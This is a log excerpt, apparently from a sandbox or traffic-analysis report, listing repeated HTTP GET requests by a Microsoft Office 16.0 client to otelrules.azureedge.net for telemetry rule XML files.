Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
